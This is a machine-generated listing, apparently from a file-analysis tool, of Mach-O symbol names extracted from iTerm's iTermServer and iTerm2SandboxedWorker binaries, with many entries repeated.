Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerLog
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _task_get_special_port
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBuffer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBufferAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBufferAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerClientOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerClientOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBuffer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gMultiServerSocketPath
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gMultiServerSocketPath
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolGetFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolGetFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerRead
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerRead
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerServerOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerServerOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_MAGIC
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_BUFFER_SIZE
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_MAGIC
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _CheckIfBootstrapPortIsDead
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_BUFFER_SIZE
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _CheckIfBootstrapPortIsDead
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _mach_port_type
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncoderCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncoderCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageInitialize
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageInitialize
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _sendmsg
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _recvmsg
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SetRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SendLaunchResponse
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SetRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerLog
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SendLaunchResponse
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorClientWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorClientWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAccept
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAccept
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAcceptAndClose
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAcceptAndClose
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _socket
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerLog
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _task_get_special_port
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSocketBindListen.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBuffer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBuffer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBufferAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWriteLengthAndBufferAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerClientOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerWrite.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gMultiServerSocketPath
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gMultiServerSocketPath
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolGetFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolGetFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerClientOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolEncodeMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerRead
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerRead
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolLogMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromClient
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerProtocolParseMessageFromServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerReadMessage.cold.2
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerServerOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermMultiServerServerOriginatedMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_MAGIC
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_BUFFER_SIZE
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_MAGIC
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _CheckIfBootstrapPortIsDead
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _ITERM_MULTISERVER_BUFFER_SIZE
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _CheckIfBootstrapPortIsDead
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_focusReportingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_focusReportingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_INSTANCE_VARIABLES_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_INSTANCE_VARIABLES_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_INSTANCE_METHODS_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_INSTANCE_METHODS_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_doubleReportScrollWheel
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_doubleReportScrollWheel
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_CLASS_METHODS_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_CLASS_METHODS_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._blocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._allKeysBlocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._blocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._allKeysBlocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_NSXPCConnection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_runJobsInServers
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_runJobsInServers
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_proportionalScrollWheelReporting
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_proportionalScrollWheelReporting
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_preferSpeedToFullLigatureSupport
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_preferSpeedToFullLigatureSupport
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_pathToFTP
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_pathToFTP
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_oscColorReport16Bits
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_oscColorReport16Bits
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_openFileOverridesSendText
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_openFileOverridesSendText
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncVariablesToReport
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncVariablesToReport
